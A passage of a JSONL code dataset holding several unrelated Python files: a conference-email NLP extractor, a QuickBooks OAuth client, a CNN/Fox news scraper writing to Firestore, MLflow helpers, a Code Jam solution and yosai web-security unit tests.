`core_action`.`status`=\\\"complete\\\" \")\n })\n\n","repo_name":"350dotorg/aktivator","sub_path":"actionkit_usersearch/where_columns.py","file_name":"where_columns.py","file_ext":"py","file_size_in_byte":5424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11415452433","text":"import pandas as pd\nimport dateparser\nfrom nltk.corpus import stopwords\nimport re\nimport datetime\nimport pickle\nfrom geotext import GeoText\nimport spacy\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n\n\nnlp = spacy.load(\"en_core_web_sm\")\n\nc = open('countries.txt','r')\ncountryList = []\nfor x in c.readlines():\n countryList.append(x.strip())\nc.close()\n\n\ndef get_dates(text):\n char_nums = []\n text_bubbles = []\n dates = []\n text += 'dum junk'\n match = re.finditer(\"\\d+/\\d+/\\d\",text)\n for m in match:\n date_str = text[m.start():m.end()]\n datet = dateparser.parse(date_str,settings={'STRICT_PARSING': True})\n if datet:\n char_nums.append(m.start())\n start=max(m.start()-40,0)\n end = min(m.end()+15,len(text))\n text_bubbles.append(re.sub('\\s+',' ',text[start:end]))\n dates.append(datet.replace(tzinfo=None))\n match = re.finditer(\"jan|feb|mar|apr|may|jun|jul|aug|sep|nov|dec\",text)\n for m in match:\n date_str = text[m.start()-10:m.end()+15]\n date_str = re.sub('-\\s*\\d+|,|\\s+',' ',date_str)\n toks = re.split('\\s+',date_str)\n datet=None\n for i in range(len(toks)-3):\n datet = dateparser.parse(' '.join(toks[i:i+3]),settings={'STRICT_PARSING': True})\n part_date = None\n if datet:\n break\n else:\n datet = dateparser.parse(' '.join(toks[i:i+2]))\n if datet:\n char_nums.append(m.start())\n start=max(m.start()-40,0)\n end = min(m.end()+15,len(text))\n text_bubbles.append(re.sub('\\s+',' ',text[start:end]))\n dates.append(datet.replace(tzinfo=None))\n df_dates = pd.DataFrame()\n df_dates['date']=dates\n xgb_classifier = pickle.load(open('pkl_models/xgb_classifier2.pkl', \"rb\"))\n tfidfvec = pickle.load(open('pkl_models/tfidfvec2.pkl', \"rb\"))\n\n if len(dates)==0:\n return [None,None,None]\n df_dates['text']=text_bubbles\n tfidf_wm = tfidfvec.transform(text_bubbles)\n tfidf_tokens = tfidfvec.get_feature_names_out()\n df_tfidfvect = pd.DataFrame(data = tfidf_wm.toarray(),columns = tfidf_tokens)\n labels = xgb_classifier.predict(df_tfidfvect)\n probas = xgb_classifier.predict_proba(df_tfidfvect)\n\n df_dates['label']=labels\n df_dates['prob'] = [max(p) for p in probas]\n df_dates.drop_duplicates(inplace=True)\n df_dates = df_dates.loc[df_dates.groupby('label')['prob'].idxmax()]\n conf_date = df_dates[df_dates['label']=='conf_date']['date'].values\n if conf_date.size>0:\n conf_date=datetime.datetime.utcfromtimestamp(conf_date[0].tolist()/1e9).strftime(\"%A, %d %b %Y\")\n else:\n conf_date = None\n sub_date = df_dates[df_dates['label']=='sub_date']['date'].values\n if sub_date.size>0:\n sub_date=datetime.datetime.utcfromtimestamp(sub_date[0].tolist()/1e9).strftime(\"%A, %d %b %Y\")\n else:\n sub_date = None\n notif_date = df_dates[df_dates['label']=='notif_date']['date'].values\n if notif_date.size>0:\n notif_date=datetime.datetime.utcfromtimestamp(notif_date[0].tolist()/1e9).strftime(\"%A, %d %b %Y\")\n else:\n notif_date = None\n \n return [conf_date,\n sub_date,\n notif_date]\n\n\ndef get_location(un_doc):\n doc = nlp(un_doc)\n gpe = []\n countries = []\n places = GeoText(un_doc)\n cities = places.cities\n for token in doc.ents:\n if token.label_ == 'GPE':\n gpe.append(token.text)\n for token in doc:\n if token.text.isupper() and token.text in countryList and token.text not in gpe:\n gpe.append(token.text)\n for x in gpe:\n if x in countryList:\n countries.append(x)\n inter = []\n for x in gpe:\n if x in cities:\n inter.append(x)\n gpe = inter\n if len(countries) == 0:\n countries = places.countries\n if len(countries) == 0 and len(gpe) == 0:\n return \"\"\n elif len(countries) > 0 and len(gpe) == 0:\n return countries[0]\n elif len(countries) == 0 and len(gpe) > 0:\n return gpe[0]\n else:\n return gpe[0] +\", \" + countries[0]\n\n\ndef get_consecutive_words(sent):\n stop_words = stopwords.words('english')\n months = {'january', 'february', 'march', 'april', 'may', 'june', 'july', 'august', 'september', 'october', 'november', 'december'}\n sent = sent.replace('-', '')\n sent = sent.replace('/', ' ')\n words = word_tokenize(sent)\n phrases = []\n current_phrase = []\n for word in words:\n if bool(re.match(\"[A-Z]+'\\d+\", word)):\n if len(current_phrase) > 0:\n # remove extra stopwords\n i = len(current_phrase) - 1\n while (current_phrase[i] in stop_words):\n del current_phrase[i]\n i -= 1\n phrases.append(' '.join(current_phrase))\n current_phrase = []\n phrases.append(word)\n else:\n if (bool(re.match(r'\\w*[A-Z]\\w*', word)) or bool(re.search(r'\\d', word))) and word.lower() not in months:\n current_phrase.append(word)\n else:\n if word in stop_words and len(current_phrase) > 0:\n current_phrase.append(word)\n else:\n if len(current_phrase) > 0:\n # remove extra stopwords\n i = len(current_phrase) - 1\n while (current_phrase[i] in stop_words):\n del current_phrase[i]\n i -= 1\n phrases.append(' '.join(current_phrase))\n current_phrase = []\n better_phrases = []\n for phrase in phrases:\n if len(phrase.split()) > 1:\n better_phrases.append(phrase)\n if len(better_phrases) == 0:\n return phrases\n return better_phrases\n\n\n\ndef select_conference(phrases):\n if len(phrases) == 0:\n return \"\"\n for phrase in phrases:\n if 'conference' in phrase.lower() or 'confrence' in phrase.lower():\n return phrase\n for phrase in phrases:\n if 'conf' in phrase.lower():\n return phrase\n for phrase in phrases:\n if 'event' in phrase.lower():\n return phrase\n for phrase in phrases:\n if 'congress' in phrase.lower():\n return phrase\n return max(phrases, key=len)\n\n\n\n\ndef get_name(email_text):\n lemmatizer = WordNetLemmatizer()\n clf = pickle.load(open('pkl_models/catboost_sent_clf.pkl', \"rb\"))\n vectorizer = pickle.load(open('pkl_models/tfidf_sent_vecs.pkl', \"rb\"))\n columns = vectorizer.get_feature_names_out()\n sents = sent_tokenize(email_text)\n lemmatized_sents = []\n for sent in sents:\n words = [lemmatizer.lemmatize(w) for w in sent.split()]\n sent = \" \".join(words)\n lemmatized_sents.append(sent)\n sents_wm = vectorizer.transform(lemmatized_sents)\n stop_i = 0\n for i in range(len(columns)):\n colname = columns[i]\n if colname[0] == 'a':\n stop_i = i\n break\n df_sents_vecs = pd.DataFrame(sents_wm.toarray(), columns=columns).iloc[:, stop_i:]\n predictions = clf.predict_proba(df_sents_vecs)\n df_predictions = pd.DataFrame(predictions, columns=['not_in_sent', 'in_sent'])\n df_predictions['compound'] = df_predictions['in_sent'] - df_predictions['not_in_sent']\n best = list(df_predictions['compound'].sort_values(ascending=False).index)[0]\n best_sent = sents[best]\n pred_name = select_conference(get_consecutive_words(best_sent))\n return pred_name","repo_name":"parthray16/NLPFinal","sub_path":"code/extractions.py","file_name":"extractions.py","file_ext":"py","file_size_in_byte":7626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28895981526","text":"\"\"\"\nWrappers for QBO OAuth sessions (around OAuth2Session, saving/retreiving tokens and other settings from persistent\nstorage to make it easier to call QBO APIs). Separate classes for autorize/token/api because the OAuth2Session\nconstuctors are a bit different and QBO is quite specific in terms of the requests (for example CLIENT_ID has to be\npassed in when authorizing, but can't be when getting the token).\n\"\"\"\n\n\nimport base64\nimport os\nimport json\nimport logging\nfrom datetime import datetime\nfrom requests_oauthlib import OAuth2Session\nfrom oauthlib.oauth2.rfc6749.errors import InvalidGrantError\nfrom google.appengine.api import urlfetch\nfrom google.appengine.ext import ndb\n\nfrom app.clients import client_utils\nfrom app.services.ndb_models import Org, OrgCredentials\nfrom app.utils.sync_utils import (\n AuthCancelled,\n FailedToGetCompanyName,\n LINKING,\n MismatchingFileConnectionAttempt,\n RateLimitException,\n UnauthorizedApiCallException,\n InvalidGrantException,\n MissingProviderConfigException\n)\n\nTOKEN_URL = os.environ.get('QBO_TOKEN_URL')\nAUTH_HOST = os.environ.get('QBO_AUTH_HOST')\nAPI_HOST = os.environ.get('QBO_API_HOST')\nSCOPES = ['com.intuit.quickbooks.accounting']\nBASE_API_URI = os.environ.get('QBO_BASE_API_URI')\nAPI_MINOR_VERSION = os.environ.get('QBO_API_MINOR_VERSION')\n\n\nclass QboAuthorizationSession(OAuth2Session):\n \"\"\"\n Class that facilitates first step of the oAuth flow. Stores org details and gives a URL for user to go to in order\n to complete the authorisation.\n \"\"\"\n\n def __init__(self, org_uid, provider_config, redirect_url):\n \"\"\"\n Prepares the org for linking.\n\n Args:\n org_uid(str): org identifier\n provider_config(ProviderConfig): ndb model holding the provider config for the org\n redirect_url(str): the url to which the linker should send the user to after saving qbo tokens\n \"\"\"\n org = Org.get_by_id(org_uid) or Org(id=org_uid, provider='qbo', provider_config=provider_config.key)\n\n # If this is a `relink`, check the org has a provider_config set\n if org.provider_config is None:\n org.provider_config = provider_config.key\n\n msg = \"setting org status to linking (status {}) and saving redirect_url ({})'\"\n logging.info(msg.format(LINKING, redirect_url))\n\n org.status = LINKING\n org.redirect_url = redirect_url\n org.put()\n\n callback_uri = client_utils.get_redirect_uri_for(org.provider)\n super(QboAuthorizationSession, self).__init__(\n provider_config.client_id,\n redirect_uri=callback_uri,\n scope=SCOPES,\n state=org_uid\n )\n\n def get_authorization_url(self):\n \"\"\"\n Returns the url to which the user should be redirected to in order to complete the auth flow.\n\n Returns:\n str: url to which the user should be redirected to in order to complete the auth flow\n \"\"\"\n authorization_url, _ = self.authorization_url(AUTH_HOST)\n return authorization_url\n\n\nclass QboTokenSession(OAuth2Session):\n \"\"\"\n Class to facilitate exchange of auth code for access token.\n \"\"\"\n\n def __init__(self, org_uid, callback_args):\n \"\"\"\n Extracts QBO file details and access tokens from the QBO callback.\n\n Args:\n org_uid(str): org identifier\n redirect_uri(str): uri to which qbo sends tokens\n callback_args(dict): request parameters send by qbo\n \"\"\"\n self.org_uid = org_uid\n self.callback_args = callback_args\n self.org = Org.get_by_id(org_uid)\n\n if callback_args.get('error') == 'access_denied':\n raise AuthCancelled(self.org)\n\n entity_id = callback_args.get('realmId')\n\n if self.org.entity_id and self.org.entity_id != entity_id:\n raise MismatchingFileConnectionAttempt(self.org)\n\n logging.info(\"saving entity_id '{}' for org '{}'\".format(entity_id, org_uid))\n self.org.entity_id = entity_id\n self.org.put()\n\n super(QboTokenSession, self).__init__(\n redirect_uri=client_utils.get_redirect_uri_for(self.org.provider),\n )\n\n def get_and_save_token(self):\n \"\"\"\n Fetches the access token from QBO with the given auth code. Also kicks off the sync of the org as it can be\n considered connected once the access token is obtained.\n \"\"\"\n provider_config = self.org.provider_config.get()\n token = self.fetch_token(\n TOKEN_URL,\n code=self.callback_args.get('code'),\n headers={\n 'Authorization': \"Basic \" + base64.b64encode(\n provider_config.client_id + \":\" + provider_config.client_secret\n ),\n 'Accept': 'application/json',\n 'content-type': 'application/x-www-form-urlencoded'\n }\n )\n parent = ndb.Key('Org', self.org_uid)\n OrgCredentials(parent=parent, id=self.org_uid, token=token).put()\n\n\nclass QboApiSession(OAuth2Session):\n \"\"\"\n Class to facilitate making API calls to QBO.\n \"\"\"\n\n def __init__(self, org_uid):\n \"\"\"\n Prepares access token for API calls (gets it from datastore and refreshes as needed).\n\n Args:\n org_uid(str): org identifier\n \"\"\"\n parent = ndb.Key('Org', org_uid)\n self.org_uid = org_uid\n org = parent.get_async()\n self.creds = OrgCredentials.get_by_id(org_uid, parent=parent)\n expires_at = datetime.utcfromtimestamp(self.creds.token['expires_at'])\n\n # TODO: this call and refresh_token function might not be needed as OAuth2Session can take auto_refresh_url\n # as a parameter and do this automatically\n provider_config_key = org.get_result().provider_config\n if provider_config_key is None:\n logging.warn(\"org `{}` does not have a provider config.\".format(parent.id()))\n raise MissingProviderConfigException()\n else:\n self.provider_config = provider_config_key.get()\n if (expires_at - datetime.utcnow()).total_seconds() < 60:\n logging.info(\"access token for {} about to expire, refreshing\".format(self.org_uid))\n self.refresh_token()\n\n super(QboApiSession, self).__init__(self.provider_config.client_id, token=self.creds.token)\n\n def refresh_token(self):\n \"\"\"\n Refreshes the access token for the org.\n \"\"\"\n try:\n token = OAuth2Session().refresh_token(\n token_url=TOKEN_URL,\n refresh_token=self.creds.token['refresh_token'],\n headers={\n 'Authorization': \"Basic \" + base64.b64encode(\n self.provider_config.client_id + \":\" + self.provider_config.client_secret\n ),\n 'Accept': 'application/json',\n 'content-type': 'application/x-www-form-urlencoded'\n }\n )\n except InvalidGrantError:\n logging.warn(\"got InvalidGrantError exception on token refresh\")\n raise InvalidGrantException()\n\n parent = ndb.Key('Org', self.org_uid)\n OrgCredentials(parent=parent, id=self.org_uid, token=token).put()\n self.creds = OrgCredentials.get_by_id(self.org_uid, parent=parent)\n\n def get_company_name(self):\n \"\"\"\n Makes an API call to QBO and extracts the company name.\n\n Returns:\n str: company name\n \"\"\"\n entity_id = Org.get_by_id(self.org_uid).entity_id\n url_template = \"{}company/{}/companyinfo/{}?minorversion={}\"\n url = url_template.format(BASE_API_URI, entity_id, entity_id, API_MINOR_VERSION)\n\n try:\n urlfetch.set_default_fetch_deadline(10)\n data = self.get(url, headers={'Accept': 'application/json'})\n except Exception:\n # we don't want this to interrupt the linking flow\n logging.warning(\"failed to get company name for entity {}\".format(entity_id), exc_info=True)\n raise FailedToGetCompanyName()\n\n return data.get('CompanyInfo', {}).get('CompanyName')\n\n def request(self, method, url, data=None, headers=None, withhold_token=False, client_id=None, client_secret=None, **kwargs):\n \"\"\"\n Overrides the OAuth2Session request method to handle QBO specific errors. Based on this handling here the parent\n sync loop decides if it should retry API calls.\n\n Returns:\n dict: data returned by qbo for an api call\n \"\"\"\n response = super(QboApiSession, self).request(\n method,\n url,\n data=data,\n headers=headers,\n withhold_token=withhold_token,\n client_id=client_id,\n client_secret=client_secret,\n **kwargs\n )\n\n if response.status_code == 429:\n logging.info(\"got a 429 - {}\".format(response.text))\n raise RateLimitException()\n\n if response.status_code == 401:\n raise UnauthorizedApiCallException()\n\n if response.status_code != 200:\n logging.info(u\"got response with status: {}, and response: {}\".format(response.status_code, response.text))\n raise ValueError(\"api call failed with code {}: url - {}\".format(response.status_code, url))\n\n data = json.loads(response.text)\n\n if 'Fault' in data:\n raise ValueError(\"api call failed: url - {}, data - {}\".format(url, data))\n\n return data\n\n def is_authenticated(self):\n \"\"\"\n Provides on-demand checking of the ability to make API calls for an org.\n\n Args:\n org_uid(str): org identifier\n\n Returns:\n bool: true if api calls can be made, false if not\n \"\"\"\n\n try:\n company_name = self.get_company_name()\n except Exception as e:\n logging.exception(\"got an error checking if auth is ok\", e)\n return False\n\n return company_name is not None\n","repo_name":"SoulMen007/acuit-gl-ingester-zuora","sub_path":"app/clients/qbo_client.py","file_name":"qbo_client.py","file_ext":"py","file_size_in_byte":10096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11777241232","text":"from bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\nfrom urllib.request import urlopen\r\nimport firebase_admin\r\nfrom firebase_admin import credentials\r\nfrom firebase_admin import firestore\r\n\r\ncred = credentials.Certificate(\"./news-app-da2be-firebase-adminsdk-qjb3c-ccd3331680.json\")\r\nfirebase_admin.initialize_app(cred)\r\n\r\nimport nltk\r\n# nltk.download('all')\r\n\r\ndef getCNN():\r\n driver = webdriver.Chrome()\r\n driver.get('https://www.cnn.com/politics')\r\n\r\n soup = BeautifulSoup(driver.page_source, 'html.parser')\r\n\r\n bd = soup.find('div', {'class', 'pg-no-rail pg-wrapper'}).find_all('section')\r\n\r\n cnn = []\r\n\r\n for data in bd:\r\n zn = data.find('div', {'class', 'zn__containers'})\r\n if zn:\r\n groups = zn.find_all('div', {'class', 'column'})\r\n for sets in groups:\r\n ul = sets.find('ul')\r\n li = ul.find_all('li')\r\n for nd in li:\r\n art = nd.find('article')\r\n finD = art.find('div', {'class', 'cd__content'})\r\n a = finD.find('a')\r\n url = a.get('href')\r\n span = a.find('span')\r\n headline = span.getText()\r\n d = {\"headline\" : headline, \"url\" : 'https://cnn.com' + url}\r\n print(d['url'])\r\n if d['url'][15] == '/':\r\n print(d['url'])\r\n cnn.append(d)\r\n return cnn\r\n\r\ndef getFox():\r\n fox = []\r\n html = urlopen('http://www.foxnews.com/politics')\r\n bs = BeautifulSoup(html, \"html.parser\")\r\n titles = bs.find_all(['h2','h4'])\r\n for data in titles:\r\n atag = data.find('a')\r\n headline = atag.getText()\r\n url = atag.get('href')\r\n d = {\"headline\" : headline,\r\n \"url\" : url}\r\n fox.append(d)\r\n return fox\r\n\r\ndef getNouns(headline):\r\n is_noun = lambda pos: pos[:2] == 'NN'\r\n tokenized = nltk.word_tokenize(headline)\r\n nouns = [word for (word, pos) in nltk.pos_tag(tokenized) if is_noun(pos)] \r\n return nouns\r\n\r\ncnn = getCNN()\r\nfox = getFox()\r\n\r\nresults = []\r\n\r\nfor title in cnn:\r\n headline = title['headline']\r\n nouns = getNouns(headline)\r\n preURL = '%2C'.join(nouns)\r\n preURL.replace('', '%20')\r\n finURL = \"https://news.google.com/search?q={}%20site%3Afoxnews.com%20when%3A7d&hl=en-US&gl=US&ceid=US%3Aen\".format(preURL)\r\n results.append({'fox':finURL, 'cnnH':title['headline'], 'cnnU':title['url']})\r\n\r\ndef getFinal(GNurl):\r\n driver = webdriver.Chrome()\r\n driver.get(GNurl)\r\n soup = BeautifulSoup(driver.page_source, 'html.parser')\r\n \r\n fdiv = soup.find('div', {'class', 'NiLAwe y6IFtc R7GTQ keNKEd j7vNaf nID9nc'})\r\n if fdiv:\r\n h3 = fdiv.find('h3')\r\n a = h3.find('a')\r\n url = 'https://news.google.com' + a.get('href')[1:]\r\n headline = a.getText()\r\n return headline, url\r\n return 'None', 'None'\r\n\r\ndef foxRawData(url):\r\n driver = webdriver.Chrome()\r\n driver.get(url)\r\n soup = BeautifulSoup(driver.page_source, 'html.parser')\r\n try:\r\n fdiv = soup.find('div', {'class', 'page-content'})\r\n content = fdiv.find('div', {'class', 'article-body'})\r\n return content\r\n except:\r\n return 'NULL'\r\n \r\n \r\n\r\ndef cnnRawData(url):\r\n driver = webdriver.Chrome()\r\n driver.get(url)\r\n try:\r\n soup = BeautifulSoup(driver.page_source, 'html.parser')\r\n fdiv = soup.find('div', {'class', 'pg-right-rail-tall'})\r\n article = fdiv.find('article')\r\n lContainer = article.find('div', {'class', 'l-container'})\r\n ldiv = lContainer.find('div', {'class', 'pg-rail-tall__body'})\r\n section = ldiv.find('section')\r\n lcont2 = section.find('div', {'class', 'l-container'})\r\n\r\n return lcont2\r\n except:\r\n return 'ERROR'\r\n\r\n\r\nLfin = []\r\n\r\n# print(getFinal(results[0]['fox'])))\r\nprint(results)\r\nfor data in results:\r\n headline, url = getFinal(data['fox'])\r\n if [headline, url] != ['None', 'None']:\r\n foxCont = foxRawData(url)\r\n if foxCont != 'NULL':\r\n cnnCont = cnnRawData(data['cnnU'])\r\n d = {'cnnHead':data['cnnH'], 'cnnURL':data['cnnU'], 'cnnCont':cnnCont, 'foxHead':headline, 'foxURL':url, 'foxCont':foxCont}\r\n Lfin.append(d)\r\n\r\n\r\nprint(Lfin)\r\n\r\ndef writeToDB(allArticles):\r\n db = firestore.client()\r\n users_ref = db.collection(u'articles')\r\n docs = users_ref.stream()\r\n\r\n for doc in docs:\r\n doc.reference.delete()\r\n \r\n i = 1\r\n for match in allArticles:\r\n doc_ref = db.collection(u'articles').document(u'document{}'.format(i))\r\n doc_ref.set({\r\n u'cnnHead': u'{}'.format(match['cnnHead']),\r\n u'cnnURL': u'{}'.format(match['cnnURL']),\r\n u'foxHead': u'{}'.format(match['foxHead']),\r\n u'foxURL':u'{}'.format(match['foxURL']),\r\n u'cnnCont': u'{}'.format(match['cnnCont']),\r\n u'foxCont':u'{}'.format(match['foxCont'])\r\n })\r\n i += 1\r\n \r\n\r\nwriteToDB(Lfin)\r\n\r\n\r\n\r\n","repo_name":"avikMall/media-bias","sub_path":"news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3877222263","text":"import os\nimport joblib\nimport tempfile\n\nimport mlflow as mlf\nfrom hydra.utils import get_original_cwd\nfrom omegaconf import DictConfig, ListConfig\n\n\n__all__ = [\"set_mlflow_env\", \"log_params_from_omegaconf_dict\"]\n\n\ndef log_params_from_omegaconf_dict(params):\n for param_name, element in params.items():\n _explore_recursive(param_name, element)\n\n\ndef _explore_recursive(parent_name, element):\n if isinstance(element, DictConfig):\n for k, v in element.items():\n if isinstance(v, DictConfig) or isinstance(v, ListConfig):\n _explore_recursive(f\"{parent_name}.{k}\", v)\n else:\n mlf.log_param(f\"{parent_name}.{k}\", v)\n elif isinstance(element, ListConfig):\n for i, v in enumerate(element):\n mlf.log_param(f\"{parent_name}.{i}\", v)\n\n\ndef save_pickle(name, obj):\n with tempfile.TemporaryDirectory() as temp_dir:\n path = os.path.join(temp_dir, f\"{name}.pkl\")\n with open(path, \"wb\") as f:\n joblib.dump(obj, f)\n mlf.log_artifact(path)\n\ndef load_pickle(name):\n path = mlf.get_artifact_uri(f\"{name}.pkl\").split(\":\")[-1]\n return joblib.load(path)\n\ndef set_mlflow(\n exp_name, exp_tags=None, run_tags=None, run_id=None, get_last_run=False\n):\n mlf.set_tracking_uri(f\"file://{get_original_cwd()}/mlruns\")\n client = mlf.tracking.MlflowClient()\n experiment = mlf.get_experiment_by_name(exp_name)\n if experiment is None:\n experiment_id = client.create_experiment(name=exp_name)\n experiment = mlf.get_experiment(experiment_id)\n if exp_tags is not None:\n for name, tag in exp_tags.items():\n mlf.set_experiment_tag(experiment_id, name, tag)\n else:\n experiment_id = experiment.experiment_id\n if run_id is None and not get_last_run:\n run_tags = {} if run_tags is None else run_tags\n run_tags = mlf.tracking.context.registry.resolve_tags(run_tags)\n run = client.create_run(experiment_id=experiment_id, tags=run_tags)\n elif not get_last_run:\n run = mlf.get_run(run_id=run_id)\n else:\n run = mlf.search_runs(experiment_id, output_format=\"list\")[0]\n return run\n","repo_name":"caiodadauto/RGT","sub_path":"rgt/utils_mlf.py","file_name":"utils_mlf.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23457826541","text":"def solve(cipher): \n inputs = cipher.split(\" \") \n Smax = inputs[0] \n digits = inputs[1] \n fcnt = 0 \n acnt = 0 \n #print digits \n for i in range(len(digits)): \n digit = int(digits[i]) \n if digit==0:\n continue\n\n if (fcnt+acnt)<i:\n fcnt += (i-(acnt+fcnt)) \n acnt += digit\n\n return str(fcnt) \nif __name__ == \"__main__\": \n testcases = input() \n for caseNr in xrange(1, testcases+1): \n cipher = raw_input() \n print(\"Case #%i: %s\" % (caseNr, solve(cipher)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/966.py","file_name":"966.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10033093654","text":"import base64\nfrom unittest import mock\n\nfrom yosai.core import (\n NativeSecurityManager,\n)\n\nfrom yosai.web import (\n WebSubjectContext,\n WebDelegatingSubject,\n WebSecurityManager,\n WebSessionKey,\n)\n\n# ------------------------------------------------------------------------\n# WebSecurityManager Tests\n# ------------------------------------------------------------------------\n\n@mock.patch.object(WebSubjectContext, '__init__', return_value=None)\ndef test_web_security_manager_create_subject_context(\n mock_dwsc_init, web_security_manager, mock_web_registry, web_yosai):\n \"\"\"\n returns a new WebSubjectContext containing yosai, self,\n and web_registry\n \"\"\"\n wsm = web_security_manager\n mock_subject = mock.create_autospec(WebDelegatingSubject)\n mock_subject.web_registry = mock_web_registry\n\n wsm.create_subject_context(mock_subject)\n mock_dwsc_init.assert_called_once_with(web_yosai, wsm, mock_web_registry)\n\n\ndef test_wsm_create_session_context(web_security_manager):\n wsm = web_security_manager\n subject_context = mock.create_autospec(WebSubjectContext)\n subject_context.resolve_web_registry.return_value = 'web_registry'\n result = wsm.create_session_context(subject_context)\n assert result == {'web_registry': 'web_registry', 'host': None}\n\n\n@mock.patch.object(NativeSecurityManager, 'get_session_key',\n return_value='native_session_key')\ndef test_web_security_manager_get_session_key_raise_revert(\n mock_nsm_gsk, web_security_manager):\n \"\"\"\n if resolve_web_registry raises an AttributeError, it means a WebSubjectContext\n wasn't passed, and consequently super's get_session_key is called with\n the subject_context\n \"\"\"\n wsm = web_security_manager\n wsm.get_session_key('subjectcontext')\n mock_nsm_gsk.assert_called_once_with('subjectcontext')\n\n\ndef test_web_security_manager_get_session_key(\n web_security_manager, web_subject_context, monkeypatch, mock_web_registry):\n \"\"\"\n creates and returns a WebSessionKey\n \"\"\"\n wsm = web_security_manager\n monkeypatch.setattr(web_subject_context, 'resolve_web_registry', lambda: mock_web_registry)\n monkeypatch.setattr(web_subject_context, 'session_id', 'sessionid1234')\n result = wsm.get_session_key(web_subject_context)\n assert result == WebSessionKey(session_id='sessionid1234', web_registry=mock_web_registry)\n\n\n@mock.patch.object(NativeSecurityManager, 'before_logout')\n@mock.patch.object(WebSecurityManager, 'remove_identity')\ndef test_web_security_manager_before_logout(\n mock_wsm_ri, mock_nsm_bl, web_security_manager):\n \"\"\"\n super's before_logout is called and then remove_identity\n \"\"\"\n web_security_manager.before_logout('subject')\n\n mock_wsm_ri.assert_called_once_with('subject')\n mock_nsm_bl.assert_called_once_with('subject')\n\n\ndef test_web_security_manager_remove_identity_raise_passes(\n web_security_manager):\n \"\"\"\n an AttributeError indicates that a WebSubject wasn't passed, and so nothing\n happens\n \"\"\"\n assert web_security_manager.remove_identity('subject') is None\n\n\ndef test_web_security_manager_remove_identity(\n web_security_manager, mock_web_registry, monkeypatch):\n \"\"\"\n the subject's web_registry.remember_me cookie deleter is called\n \"\"\"\n wsm = web_security_manager\n mock_subject = mock.MagicMock()\n mock_subject.web_registry = mock_web_registry\n wsm.remove_identity(mock_subject)\n assert mock_web_registry.remember_me_history == [('DELETE', None)]\n\n\n@mock.patch.object(NativeSecurityManager, 'remember_me_successful_login')\ndef test_web_security_manager_on_successful_login(\n mock_nsm_rmsl, web_security_manager):\n \"\"\"\n a new csrf token gets generated and then super's remember_me_successful_login\n is called\n \"\"\"\n wsm = web_security_manager\n mock_subject = mock.MagicMock()\n mock_subject.session.recreate_session.return_value = 'recreated'\n wsm.on_successful_login('authc_token', 'account', mock_subject)\n\n mock_nsm_rmsl.assert_called_once_with('authc_token', 'account', mock_subject)\n assert mock_subject.session == 'recreated'\n\n\n@mock.patch.object(WebDelegatingSubject, '__init__', return_value=None)\ndef test_wsm_do_create_subject(mock_ds, web_security_manager, monkeypatch):\n wsm = web_security_manager\n mock_sc = mock.create_autospec(WebSubjectContext)\n mock_sc.resolve_security_manager.return_value = 'security_manager'\n mock_sc.resolve_session.return_value = 'session'\n mock_sc.session_creation_enabled = 'session_creation_enabled'\n mock_sc.resolve_identifiers.return_value = 'identifiers'\n mock_sc.remembered = True\n mock_sc.resolve_authenticated.return_value = True\n mock_sc.resolve_host.return_value = 'host'\n mock_sc.web_registry = 'web_registry'\n\n wsm.do_create_subject(mock_sc)\n mock_ds.assert_called_once_with(identifiers='identifiers',\n remembered=True,\n authenticated=True,\n host='host',\n session='session',\n session_creation_enabled='session_creation_enabled',\n security_manager='security_manager',\n web_registry=mock_sc.web_registry)\n\n\n# ------------------------------------------------------------------------\n# CookieRememberMeManager Tests\n# ------------------------------------------------------------------------\n\n\ndef test_cookie_rmm_remember_encrypted_identity(\n cookie_rmm, mock_web_delegating_subject):\n \"\"\"\n subject's web_registry remember_me cookie is set to the encoded value\n \"\"\"\n mwds = mock_web_delegating_subject\n\n assert mwds.web_registry.current_remember_me is None\n\n cookie_rmm.remember_encrypted_identity(mwds, b'encrypted')\n\n assert mwds.web_registry.current_remember_me is not None\n\n\ndef test_cookie_rmm_remember_encrypted_identity_raises(\n cookie_rmm, caplog):\n \"\"\"\n an AttributeError results simply in debug logging\n \"\"\"\n cookie_rmm.remember_encrypted_identity('subject', b'encrypted')\n assert 'not an HTTP-aware' in caplog.text\n\n\ndef test_cookie_rmm_is_identityremoved_raises_returns_false(\n cookie_rmm):\n \"\"\"\n An AttributeError results in returning False\n \"\"\"\n assert cookie_rmm.is_identity_removed('subject_context') is False\n\n\ndef test_cookie_rmm_is_identityremoved(\n cookie_rmm, monkeypatch, mock_web_registry, web_subject_context):\n \"\"\"\n The webregistry's remember_me cookie is resolved and returns a check whether\n remember_me is set\n \"\"\"\n monkeypatch.setattr(mock_web_registry, 'current_remember_me', 'remembered')\n monkeypatch.setattr(web_subject_context, 'resolve_web_registry', lambda: mock_web_registry)\n cookie_rmm.is_identity_removed(web_subject_context) is True\n\n\ndef test_cookie_rmm_get_remembered_encrypted_identity_removed_instance(\n cookie_rmm, caplog, monkeypatch, web_subject_context):\n \"\"\"\n scenario:\n - the subject_context already had its remember_me identity removed\n - the subject_context isnt a WebSubjectContext\n\n None returned\n \"\"\"\n monkeypatch.setattr(cookie_rmm, 'is_identity_removed', lambda x: True)\n result = cookie_rmm.get_remembered_encrypted_identity(web_subject_context)\n assert 'not an HTTP' not in caplog.text and result is None\n\n\ndef test_cookie_rmm_get_remembered_encrypted_identity_removed_not_instance(\n cookie_rmm, caplog, monkeypatch):\n \"\"\"\n scenario:\n - the subject_context already had its remember_me identity removed\n - the subject_context isnt a WebSubjectContext\n\n logger debug followed by None returned\n \"\"\"\n monkeypatch.setattr(cookie_rmm, 